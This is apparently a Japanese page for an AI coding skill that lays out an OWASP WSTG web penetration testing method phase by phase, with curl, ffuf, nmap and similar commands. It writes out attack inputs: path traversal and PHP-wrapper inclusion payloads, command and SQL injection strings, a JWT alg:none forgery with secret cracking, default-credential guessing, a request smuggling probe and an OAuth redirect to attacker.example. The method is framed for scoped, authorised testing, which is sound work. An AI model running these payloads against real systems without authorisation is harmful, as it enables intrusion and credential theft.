wstg-web-pentest について
OWASP WSTG に沿った Web アプリケーションのペネトレーションテスト手法です。段階的な手順、具体的なコマンド、発見事項の検証と分類基準を必要とするセキュリティテスター向けです。
主な機能
- 0112 の WSTG フェーズに沿ったテスト構成
- 02コマンドと想定出力の提示
- 03検証状態に基づく観察事項の分類
- 04注意点と確認基準の記載
活用シーン
- 01範囲を定めた Web アプリテストの計画
- 02OWASP WSTG に基づくアプリ監査
- 03報告前のスキャナー出力の検証
- 04再現可能なテスト手法の記録
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill wstg-web-pentestインストール後、Claude Code で/wstg-web-pentestを入力して読み込まれたか確認します。
詳細
WSTG Web Application Pentest
OWASP WSTG に準拠した包括的なテスト手法です。各フェーズは WSTG のカテゴリに対応し、具体的なコマンド、想定される出力、注意点、検証基準を示します。
12 のフェーズ:
1. Information Gathering WSTG-INFO
2. Configuration & Deployment WSTG-CONF
3. Identity Management WSTG-IDNT
4. Authentication WSTG-ATHN
5. Authorization WSTG-ATHZ
6. Session Management WSTG-SESS
7. Input Validation WSTG-INPV
8. Error Handling WSTG-ERRH
9. Weak Cryptography WSTG-CRYP
10. Business Logic WSTG-BUSL
11. Client-side WSTG-CLNT
12. API Testing WSTG-APIT
すべての観察結果を次のように分類します。
| 状態 | 意味 |
|---|---|
| シグナル | 観察結果を受けて追加調査が必要です |
| 露出 | テストした状況でサービスまたは動作に到達できます |
| 脆弱 | 制御されたテストでセキュリティ特性の不備が確認されました |
| 悪用可能 | 制御されたテストで具体的な影響が実証されました |
使用する場面
- 対象範囲が定められた Web アプリケーションのペネトレーションテストを開始するとき
- OWASP テスト標準に照らして Web アプリケーションを監査するとき
- 観察されたテクノロジーや動作に基づいてテスト計画を作成するとき
- エンゲージメントで手法の文書化が必要なとき
- 自動スキャナーの出力を検証済みの指摘事項に変換するとき
前提条件
- 対象範囲内のドメイン、IP、API、テストアカウント
- 除外対象、レート制限、テスト時間帯、中止条件
- 許可された操作:パッシブ、アクティブな読み取り専用、侵入的、破壊的
- インストール済みのツール:
curl、subfinder、dnsx、httpx、katana、nuclei、nmap、ffuf、jq、python3、openssl、tlsx、wappalyzerまたはwhatweb - 認証付きテスト用にインターセプトプロキシを設定したブラウザー
- 異なる 2 つの ID 用のテストアカウント(認可テスト用)
実行方法
TARGET="example.com"
OUTPUT_DIR="${OUTPUT_DIR:-./output}/${TARGET}"
mkdir -p "$OUTPUT_DIR"/{assets,http,urls,evidence,reports}
# Run phases sequentially, stopping at scope boundaries:
# 1. INFO -> 2. CONF -> 3. IDNT -> 4. ATHN -> 5. ATHZ ->
# 6. SESS -> 7. INPV -> 8. ERRH -> 9. CRYP -> 10. BUSL ->
# 11. CLNT -> 12. APIT -> Report
手順
フェーズ 1:情報収集(WSTG-INFO-01 から INFO-10)
テストの前に攻撃対象領域をマッピングします。
1.1 検索エンジンによる発見(WSTG-INFO-01)
# Google dorks (manual in browser)
site:${TARGET}
site:${TARGET} filetype:pdf
site:${TARGET} inurl:admin
site:${TARGET} intitle:"index of"
# GitHub code search
gh search code "example.com" --limit 100 2>/dev/null
注意点: 検索結果にはサードパーティの情報が含まれます。結果を対象範囲内として扱う前に、所有権を確認してください。
1.2 Web サーバーのフィンガープリント(WSTG-INFO-02)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'server|x-powered-by|x-aspnet-version|x-generator'
whatweb --max-redirects 2 --no-errors "https://${TARGET}" 2>/dev/null
想定される出力: Server ヘッダー、テクノロジースタックの手がかり。
注意点: リバースプロキシによってヘッダーが抑制または偽装されていることがあります。レスポンスの動作やエラーページと照合してください。
検証: 独立したシグナルが少なくとも 2 つ、テクノロジーについて一致しています。
1.3 メタファイルの確認(WSTG-INFO-03)
for path in robots.txt sitemap.xml security.txt .well-known/security.txt; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
printf '%-30s %s\n' "$path" "$code"
done
注意点: robots.txt に記載されたアクセス拒否パスは手がかりであり、隠された秘密ではありません。sitemap.xml に管理用またはステージング用のエンドポイントが記載されていることがあります。
1.4 攻撃対象領域の発見(WSTG-INFO-04)
subfinder -d "$TARGET" -silent | tee "$OUTPUT_DIR/assets/hostnames.txt"
curl -sS --max-time 30 \
"https://crt.sh/?q=%.${TARGET}&output=json" 2>/dev/null \
| jq -r '.[].name_value' 2>/dev/null \
| sed 's/^\*\.//' | sort -u \
>> "$OUTPUT_DIR/assets/hostnames.txt"
sort -u "$OUTPUT_DIR/assets/hostnames.txt" -o "$OUTPUT_DIR/assets/hostnames.txt"
注意点: ワイルドカードのエントリーはホストではなくパターンです。SAN にサードパーティの名前が含まれることがあります。プローブする前に、対象範囲と所有権を分類してください。
1.5 名前解決とプローブ(WSTG-INFO-04 続き)
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -a -json \
-o "$OUTPUT_DIR/assets/dns.jsonl"
httpx -l "$OUTPUT_DIR/assets/hostnames.txt" \
-silent -rate-limit 2 \
-status-code -title -tech-detect -server -ip -cname -json \
-o "$OUTPUT_DIR/http/services.jsonl"
# Live URLs only
jq -r '.url // empty' "$OUTPUT_DIR/http/services.jsonl" | sort -u \
> "$OUTPUT_DIR/http/live-urls.txt"
1.6 ページコンテンツの確認(WSTG-INFO-05)
while IFS= read -r url; do
curl -sS --max-time 10 "$url" 2>/dev/null \
| grep -oPi '(email|password|secret|key|token|api[_-]?key|authorization|bearer)[^a-z0-9]*[=:]\s*["\x27]?[^\s"'\''<>&]+' \
| head -5
sleep 1
done < "$OUTPUT_DIR/http/live-urls.txt"
注意点: コメント、インラインスクリプト、HTML のデータ属性には、誤った手がかりが含まれていることがよくあります。報告する前に、文脈に照らして確認してください。
1.7 エントリーポイントの特定(WSTG-INFO-06)
katana -list "$OUTPUT_DIR/http/live-urls.txt" \
-silent -jc -c 2 -p 2 -rl 2 \
-o "$OUTPUT_DIR/urls/katana.txt"
# Historical URLs
echo "$TARGET" | waybackurls 2>/dev/null > "$OUTPUT_DIR/urls/wayback.txt"
gau "$TARGET" --subs 2>/dev/null > "$OUTPUT_DIR/urls/gau.txt"
# Merge and classify
cat "$OUTPUT_DIR/urls/katana.txt" \
"$OUTPUT_DIR/urls/wayback.txt" \
"$OUTPUT_DIR/urls/gau.txt" \
| sort -u > "$OUTPUT_DIR/urls/all.txt"
grep -iE '/api/|/graphql|/rest/|swagger|openapi|/v[0-9]+/' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/api-candidates.txt"
grep -iE 'login|logout|register|reset|oauth|saml|callback|session|token|mfa|2fa' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/auth-candidates.txt"
grep -iE '\.js(\?.*)?$' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/javascript.txt"
grep -E '[?&][a-zA-Z0-9_.-]+=' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/parameterized.txt"
1.8 フレームワークのフィンガープリント(WSTG-INFO-08)
httpx -l "$OUTPUT_DIR/http/live-urls.txt" \
-silent -tech-detect -json \
| jq -r '[.url, (.tech // [] | join(","))] | @tsv' \
> "$OUTPUT_DIR/http/frameworks.tsv"
検証: ヘッダー、Cookie 名(例:laravel_session、JSESSIONID)、パスパターン(/wp-content/、/_next/)、または固有のエラーページなど、少なくとも 2 つのシグナルでフレームワークのフィンガープリントを確認してください。
1.9 アプリケーションアーキテクチャのマッピング(WSTG-INFO-10)
# TLS inspection
tlsx -l "$OUTPUT_DIR/http/live-urls.txt" -silent -san -nc -json \
-o "$OUTPUT_DIR/assets/tls.jsonl"
# Port scan (when in-scope IPs are provided)
nmap -sT --top-ports 100 --open -T3 \
-oA "$OUTPUT_DIR/assets/nmap-top100" \
-iL in-scope-ips.txt 2>/dev/null
注意点: ポートスキャンはアクティブであり、検知される可能性があります。対象範囲内の IP に対してのみ、保守的なタイミングで実行してください。
フェーズ 2:構成とデプロイ(WSTG-CONF-01 から CONF-14)
インフラストラクチャとプラットフォームの構成をテストします。
2.1 ネットワークインフラストラクチャ(WSTG-CONF-01)
# Check for common admin panels
for path in admin administrator admin.php admin.aspx console manager \
phpmyadmin pma phppgadmin webmin cpanel:2082 whm:2086; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
[ "$code" != "404" ] && printf '%-25s %s\n' "$path" "$code"
sleep 1
done
2.2 アプリケーションプラットフォームの構成(WSTG-CONF-02)
# Common config files
for path in .env .env.local .env.production .env.development \
config.json config.yml config.yaml settings.py wp-config.php \
web.config .htaccess Dockerfile docker-compose.yml; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
[ "$code" = "200" ] && echo "[!] EXPOSED: $path (HTTP $code)"
sleep 1
done
注意点: 汎用的なシェルやリダイレクトを返す 200 レスポンスは、構成情報の漏えいではありません。必ず本文を確認してください。
検証: 本文に構成キー、データベース認証情報、API キー、または環境変数が含まれています。
2.3 ファイル拡張子(WSTG-CONF-03)
# Check how the server handles backup and alternate extensions
for ext in bak old backup orig save swp tmp ~; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/index.html.${ext}" 2>/dev/null)
[ "$code" != "404" ] && echo "[*] index.html.${ext}: $code"
sleep 1
done
2.4 バックアップファイルと参照されていないファイル(WSTG-CONF-04)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
-u "https://${TARGET}/FUZZ" \
-e .bak,.old,.backup,.zip,.tar.gz,.sql,.tgz \
-mc 200,301,302,403 \
-rate 5 -t 5 \
-o "$OUTPUT_DIR/evidence/ffuf-backup.json" 2>/dev/null
注意点: 公開ソース(GitHub のリリース、CDN)にあるアーカイブファイルは漏えいではありません。報告する前に、ファイルにソースコードや構成情報が含まれていることを確認してください。
2.5 管理インターフェース(WSTG-CONF-05)
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common-admin.txt \
-u "https://${TARGET}/FUZZ" \
-mc 200,301,302,403 -rate 5 -t 5 \
-o "$OUTPUT_DIR/evidence/ffuf-admin.json" 2>/dev/null
2.6 HTTP メソッド(WSTG-CONF-06)
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X "$method" "https://${TARGET}/" 2>/dev/null)
printf '%-8s %s\n' "$method" "$code"
sleep 1
done
# OPTIONS response often lists allowed methods
curl -sS -D - --max-time 10 -X OPTIONS "https://${TARGET}/" 2>/dev/null \
| grep -i 'allow:'
注意点: TRACE は、Cookie を含むリクエストと組み合わせない限り、情報提供にとどまります。認証なしの PUT は高リスクです。
2.7 HSTS(WSTG-CONF-07)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'strict-transport-security'
検証: ヘッダーが存在し、max-age が 31536000 以上で、includeSubDomains が指定されていることを確認します。
2.10 サブドメインの乗っ取り(WSTG-CONF-10)
# Check CNAMEs pointing to unclaimed services
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -cname -json \
| jq -r 'select(.cname != null) | "\(.host) -> \(.cname | join(","))"' \
> "$OUTPUT_DIR/assets/cnames.txt"
subzy run --targets "$OUTPUT_DIR/assets/hostnames.txt" 2>/dev/null
検証: 対象ホスト名の再登録を許可するサービスに対する、参照先が存在しない CNAME レコードを確認します。
2.11 クラウドストレージ(WSTG-CONF-11)
# S3 buckets named after the target
for bucket in "${TARGET}" "static.${TARGET}" "media.${TARGET}" \
"cdn.${TARGET}" "assets.${TARGET}"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${bucket}.s3.amazonaws.com" 2>/dev/null)
[ "$code" != "404" ] && echo "[*] S3 bucket $bucket: $code"
done
2.12 コンテンツセキュリティポリシー(WSTG-CONF-12)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'content-security-policy'
検証: CSP が存在し、nonce またはハッシュなしで unsafe-inline や unsafe-eval を含まず、script-src と object-src を制限していることを確認します。
2.13 パスの混同(WSTG-CONF-13)
# Check how path traversal and encoding are handled
for path in "%2e%2e/%2e%2e/etc/passwd" \
"..;/..;/etc/passwd" \
"/%2e%2e/%2e%2e/%2e%2e/etc/passwd"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
echo "$path: $code"
sleep 1
done
2.14 セキュリティヘッダー(WSTG-CONF-14)
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'x-frame-options|x-content-type-options|referrer-policy|permissions-policy|x-xss-protection'
検証: X-Frame-Options が DENY または SAMEORIGIN、X-Content-Type-Options が nosniff であることを確認します。Referrer-Policy がリファラーを制限し、Permissions-Policy が機密性の高い API を制限していることも確認します。
フェーズ 3:ID 管理(WSTG-IDNT-01 から IDNT-05)
ユーザー登録、プロビジョニング、ユーザー列挙をテストします。
3.1 ロールの定義(WSTG-IDNT-01)
取得したトラフィック、API レスポンス、確認した UI から、すべてのロールを記録します。各ロールについて、アクセス可能なルートと操作を記録します。
3.2 ユーザー登録(WSTG-IDNT-02)
# Test registration with invalid inputs
curl -sS --max-time 10 -X POST "https://${TARGET}/register" \
-H 'Content-Type: application/json' \
-d '{"username":"<script>alert(1)</script>","password":"a","email":"../../etc/passwd"}' \
2>/dev/null | head -20
ID によるテスト:
| テスト | 確認する内容 |
|---|---|
| 重複登録 | エラーメッセージから既存ユーザーであることが分かるか? |
| 弱いパスワード | 複雑さの要件なしで受け入れられるか? |
| 自動登録 | CAPTCHA またはレート制限があるか? |
| メール認証の回避 | 認証前にアカウントを使用できるか? |
3.4 アカウント列挙(WSTG-IDNT-04)
# Login timing analysis
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"wrong"}' > /dev/null 2>&1
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"nonexistent12345","password":"wrong"}' > /dev/null 2>&1
# Password reset enumeration
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"admin@'"${TARGET}"'"}' 2>/dev/null
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"nonexistent@'"${TARGET}"'"}' 2>/dev/null
注意点: 200 ミリ秒未満のタイミングの差は、信頼できることがほとんどありません。ステータスコードやレスポンス本文の違いのほうが、より強い兆候です。
検証: 複数回のテストで、既存アカウントと存在しないアカウントの間に、一貫性があり再現可能な違いがあることを確認します。
注意点: 本番アカウントを列挙しないでください。合成テストアカウントを使用して仕組みの存在を確認し、その後は中止してください。
フェーズ 4:認証(WSTG-ATHN-01 から ATHN-11)
認証フロー全体をテストします。
4.1 暗号化されたチャネルでの認証情報(WSTG-ATHN-01)
# Check login form action
curl -sS --max-time 10 "https://${TARGET}/login" 2>/dev/null \
| grep -oPi 'action=["\x27][^"\x27]*["\x27]'
# Check that login POST uses HTTPS
curl -sS --max-time 10 -X POST "http://${TARGET}/login" \
-o /dev/null -w '%{redirect_url}\n' 2>/dev/null
検証: ログインフォームが HTTPS 経由で送信されることを確認します。認証情報を受け付ける前に、HTTP 版が HTTPS にリダイレクトされることも確認します。
4.2 デフォルトの認証情報(WSTG-ATHN-02)
# Test common defaults (only on test accounts or after confirming scope allows)
for creds in "admin:admin" "admin:password" "admin:${TARGET}" \
"administrator:administrator" "root:root" "user:user" \
"test:test" "guest:guest"; do
IFS=':' read -r user pass <<< "$creds"
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-u "$user:$pass" "https://${TARGET}/" 2>/dev/null)
[ "$code" = "200" ] && echo "[!] Default creds work: $user:$pass -> $code"
sleep 2
done
注意点: これにより認証失敗が発生します。レート制限が適用される場合があります。アカウントをロックアウトしないでください。
4.3 脆弱なロックアウト(WSTG-ATHN-03)
本番アカウントに対してテストしないでください。 専用のテストアカウントを使用してください。
for i in $(seq 1 10); do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X POST "https://${TARGET}/login" \
-d "username=test-lockout&password=wrong$i" 2>/dev/null)
echo "Attempt $i: $code"
sleep 1
done
# Try the correct password afterward
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X POST "https://${TARGET}/login" \
-d "username=test-lockout&password=correctpassword" 2>/dev/null)
echo "After lockout: $code"
検証: N 回連続して失敗するとアカウントがロックされることを確認します(通常は 3~10 回)。正しいパスワードを入力してもロックアウトが適用されることを確認します。
4.4 認証スキーマの回避(WSTG-ATHN-04)
# Direct page access — request protected pages without a session
for url in /admin /dashboard /api/admin /internal /manage /settings /profile; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}${url}" 2>/dev/null)
echo "$url: $code"
sleep 1
done
# Parameter modification — test if role/privilege parameters bypass auth
curl -sS --max-time 10 "https://${TARGET}/admin?admin=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
curl -sS --max-time 10 "https://${TARGET}/admin?debug=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
4.7 脆弱な認証方式(WSTG-ATHN-07)
認証フローを記録します。
- HTTPS 経由の Basic 認証か?(より良い選択肢がない場合は許容可能)
- CSRF トークンを使用するフォームベースの認証か?(最低限必要)
- MFA があるか?(機密性の高い操作には必須)
- パスワードポリシーがあるか?(最低限の長さ、複雑さ)
- アカウント復旧フローはあるか?(メールベース、秘密の質問)
4.9 パスワードのリセット(WSTG-ATHN-09)
# Check if token appears in URL / Referer / response
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"test-user@'"${TARGET}"'"}' 2>/dev/null
# Test token predictability (only on test accounts)
TOKEN1=$(echo "reset-token-$(date +%s)" | md5sum | cut -d' ' -f1)
TOKEN2=$(echo "reset-token-$(( $(date +%s) - 60 ))" | md5sum | cut -d' ' -f1)
# Request reset with each token variant
検証: トークンのエントロピーが高く、単回使用で、有効期限があり、別のチャネル経由で配信されることを確認します。
4.11 多要素認証(WSTG-ATHN-11)
# Check if MFA can be skipped by requesting post-MFA URLs directly
curl -sS --max-time 10 "https://${TARGET}/dashboard" \
-H 'Cookie: session=<post-login-cookie>' -o /dev/null -w '%{http_code}\n'
# Check OTP rate limiting (use test account)
for i in $(seq 1 5); do
curl -sS --max-time 10 -X POST "https://${TARGET}/mfa/verify" \
-H 'Content-Type: application/json' \
-d '{"code":"000000"}' -o /dev/null -w '%{http_code} '
sleep 1
done; echo
フェーズ 5:認可(WSTG-ATHZ-01 から ATHZ-05)
少なくとも 2 つのテスト用 ID が必要です。
5.1 ディレクトリトラバーサル/ファイルインクルード(WSTG-ATHZ-01)
# LFI candidates
for payload in \
"../../../etc/passwd" \
"....//....//....//etc/passwd" \
"..%252f..%252f..%252fetc/passwd" \
"/etc/passwd" \
"file:///etc/passwd" \
"php://filter/convert.base64-encode/resource=index" \
"....//....//....//....//windows/win.ini"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/?page=${payload}" 2>/dev/null)
echo "$payload: $code"
sleep 1
done
検証: レスポンスに /etc/passwd の内容、ソースコード、または OS 固有のファイル内容が含まれていることを、内容のシグネチャで確認します(ステータスコードが 200 であることだけでは不十分です)。
5.2 認可スキーマの回避(WSTG-ATHZ-02)
2 つのテスト用 ID(ユーザー A とユーザー B)を使用します。
# User A accesses User B's resources
curl -sS --max-time 10 "https://${TARGET}/api/user/profile" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
curl -sS --max-time 10 "https://${TARGET}/api/user/profile?user_id=USER_B_ID" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
5.3 権限昇格(WSTG-ATHZ-03)
# Test if lower-privilege user can access admin endpoints
for path in /admin /admin/users /api/admin /manage /settings/admin; do
code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$path: $code"
sleep 1
done
# Test role parameter manipulation
curl -sS --max-time 10 -X PATCH "https://${TARGET}/api/user/profile" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"role":"admin"}' 2>/dev/null
5.4 安全でない直接オブジェクト参照(WSTG-ATHZ-04)
# After observing an object ID pattern, test sequential access
BASE_ID=100
for i in $(seq 0 5); do
ID=$((BASE_ID + i))
code=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-sS -o /dev/null -w '%{http_code}' 2>/dev/null)
body_len=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' 2>/dev/null | wc -c)
echo "ID $ID: $code ($body_len bytes)"
sleep 1
done
検証: オブジェクトの内容、所有者フィールド、またはテナント識別子を比較し、ユーザー A がユーザー B に属するオブジェクトのデータを受け取っていることを確認します。証明には両方のユーザーの識別情報が必要です。
5.5 OAuth の弱点(WSTG-ATHZ-05)
# Check OAuth redirect_uri validation
curl -sS --max-time 10 \
"https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.example/callback&response_type=code" \
-o /dev/null -w '%{http_code} %{redirect_url}\n'
# Test state parameter
curl -sS --max-time 10 \
"https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=CALLBACK&response_type=code" \
-o /dev/null -w '%{redirect_url}\n'
フェーズ 6:セッション管理(WSTG-SESS-01 から SESS-11)
6.1 セッションスキーマ(WSTG-SESS-01)
# Capture session cookies after login
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"TEST_USER","password":"TEST_PASS"}' \
-o /dev/null 2>&1 | grep -i 'set-cookie'
テスト:
| テスト | 確認内容 |
|---|---|
| トークンのエントロピー | 長さが 128 ビット以上であること。ent または手動検査を使用 |
| トークンの再生成 | ログイン後に新しい値になるか |
| ログアウト時のトークン | ログアウト後にサーバー側で無効化されるか |
| パスワード変更時のトークン | パスワード変更後に無効化されるか |
| 同時セッション | 複数のセッションを同時に使用できるか |
6.2 Cookie 属性(WSTG-SESS-02)
# Check all Set-Cookie attributes on every response
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'set-cookie' \
| while read -r line; do
echo "$line" | grep -qi 'secure' || echo " [!] Missing Secure"
echo "$line" | grep -qi 'httponly' || echo " [!] Missing HttpOnly"
echo "$line" | grep -qi 'samesite' || echo " [!] Missing SameSite"
echo "---"
done
検証: セッション Cookie に Secure、HttpOnly、SameSite=Lax または Strict が設定されていることを確認します。スコープがパスに限定されている場合は、__Host- プレフィックスが使用されていることを確認します。
6.3 セッション固定(WSTG-SESS-03)
# Get a pre-authentication session cookie
SESSION=$(curl -sS -D - --max-time 10 "https://${TARGET}/login" \
-o /dev/null 2>&1 | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')
# Use that cookie to authenticate
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-H "Cookie: $SESSION" \
-d 'username=TEST_USER&password=TEST_PASS' \
-o /dev/null 2>&1 | grep -i 'set-cookie'
# Check if the post-login cookie differs from the pre-login one
検証: サーバーが認証後に新しいセッション識別子を発行し、認証前の値を再利用していないことを確認します。
6.5 クロスサイトリクエストフォージェリ(WSTG-SESS-05)
# Check for CSRF tokens on state-changing forms
curl -sS --max-time 10 "https://${TARGET}/settings" 2>/dev/null \
| grep -iP 'csrf|_token|nonce|xsrf'
# Test if same-origin bypass works (no token, different method, custom header)
curl -sS --max-time 10 -X POST "https://${TARGET}/api/settings" \
-H 'Content-Type: application/json' \
-H 'Cookie: session=VALID_SESSION' \
-d '{"email":"[email protected]"}' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
注意点: SameSite=Lax Cookie は GET ベースの CSRF を防ぎません。カスタムヘッダー(X-Requested-With)は、単純なクロスオリジンリクエストのみをブロックします。
6.6 ログアウト(WSTG-SESS-06)
# Capture session, logout, try reusing session
SESSION=$(curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-d 'username=TEST_USER&password=TEST_PASS' -o /dev/null 2>&1 \
| grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')
curl -sS --max-time 10 -X POST "https://${TARGET}/logout" \
-H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'
sleep 2
curl -sS --max-time 10 "https://${TARGET}/settings" \
-H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'
検証: ログアウト後にセッションが無効化され、認証済みコンテンツを返す 200 ではなく、302 または 401 が返ることを確認します。
6.7 セッションタイムアウト(WSTG-SESS-07)
アイドルタイムアウトと絶対タイムアウトを記録します。「ログイン状態を保持する」機能によって絶対タイムアウトが延長されるか確認します。
6.10 JWT のテスト(WSTG-SESS-10)
# Decode a JWT without verification
jwt_token="<captured_jwt>"
echo "$jwt_token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Test alg:none
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0)
payload=$(echo "$jwt_token" | cut -d. -f2)
echo "${header}.${payload}." | sed 's/=//g'
# Test weak HMAC secret
hashcat -m 16500 "$jwt_token" /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null
注意点: JWT のデコード自体は脆弱性ではありません。脆弱性となるのは、サーバーが alg:none を受け入れる、RS256/ES256 が想定される場合に共通鍵を受け入れる、または推測可能なシークレットを使用している場合です。
フェーズ 7:入力検証(WSTG-INPV-01 から INPV-22)
7.1 反射型 XSS(WSTG-INPV-01)
# Test every parameter with a benign probe first
for param in q search query id page name email message comment; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/search?${param}=<xss%20id=xss>" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$param: $code"
sleep 1
done
# Check reflection in response body
curl -sS --max-time 10 "https://${TARGET}/search?q=xssreflectiontest" 2>/dev/null \
| grep -o 'xssreflectiontest'
注意点: WAF によって明らかなプローブがブロックされる場合があります。ペイロードに進む前に、一意で無害な文字列から始め、反射を確認します。属性コンテキストでエンコードされた反射には、生の HTML コンテキストとは異なるペイロードが必要です。
7.2 格納型 XSS(WSTG-INPV-02)
コメント、プロフィール、メッセージ、サポートチケットなど、永続化されるすべての入力をテストします。2 つ目のセッション(別のブラウザー/シークレットウィンドウ)で、保存されたペイロードが別のユーザーに対してレンダリングされることを確認します。
7.3 HTTP 動詞の改ざん(WSTG-INPV-03)
# Try bypassing restrictions by changing the HTTP method
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
code=$(curl -sS --max-time 10 -X "$method" \
"https://${TARGET}/api/admin/users" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$method: $code"
sleep 1
done
7.5 SQL インジェクション(WSTG-INPV-05)
# Detect with benign probes first
for payload in "'" "\"" "')" '"))' "1' OR '1'='1" "1 OR 1=1"; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/product?id=${payload}" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$payload: $code"
sleep 1
done
# Time-based blind test
for db in "pg_sleep(5)" "sleep(5)" "WAITFOR DELAY '0:0:5'"; do
time curl -sS --max-time 15 \
"https://${TARGET}/product?id=1%3B${db}%3B--" \
-o /dev/null 2>/dev/null
sleep 1
done
注意点: 時間ベースのテストはノイズが多くなります。応答が速い状況で 5 秒の遅延があれば強い兆候ですが、200 ミリ秒のばらつきは該当しません。エラーベースのテストには、DBMS のエラー形式への理解が必要です。
検証: エラーベース、UNION ベース、またはブラインドチャネルを通じて、データ(データベース名、テーブル名、行数)の抽出を確認します。単一のエラーメッセージは手掛かりであり、脆弱性の証明ではありません。
7.11 コードインジェクション/ファイルインクルージョン(WSTG-INPV-11)
# Test for PHP wrappers
for wrapper in \
"php://filter/convert.base64-encode/resource=index.php" \
"php://filter/convert.base64-encode/resource=../../etc/passwd" \
"expect://id" \
"data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/?page=${wrapper}" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$wrapper: $code"
sleep 1
done
7.12 コマンドインジェクション(WSTG-INPV-12)
# Test with time-based commands
for cmd in "sleep+5" "||+sleep+5" ";+sleep+5" "\x60sleep+5\x60" \
"\$(sleep+5)" "|+sleep+5"; do
time curl -sS --max-time 15 \
"https://${TARGET}/ping?host=127.0.0.1${cmd}" \
-o /dev/null 2>/dev/null
sleep 1
done
注意点: 破壊的なコマンド(rm、shutdown、wget)はテストしないでください。ブラインドケースの検出には、時間ベースまたは OOB(Collaborator)を使用します。
7.16 HTTP リクエストスマグリング(WSTG-INPV-16)
# CL.TE probe
printf 'POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' "$TARGET" \
| nc -w 5 "$TARGET" 80
# H2.CL probe — requires HTTP/2 capable client
curl --http2 -sS --max-time 10 "https://${TARGET}/" -o /dev/null -w '%{http_version}\n'
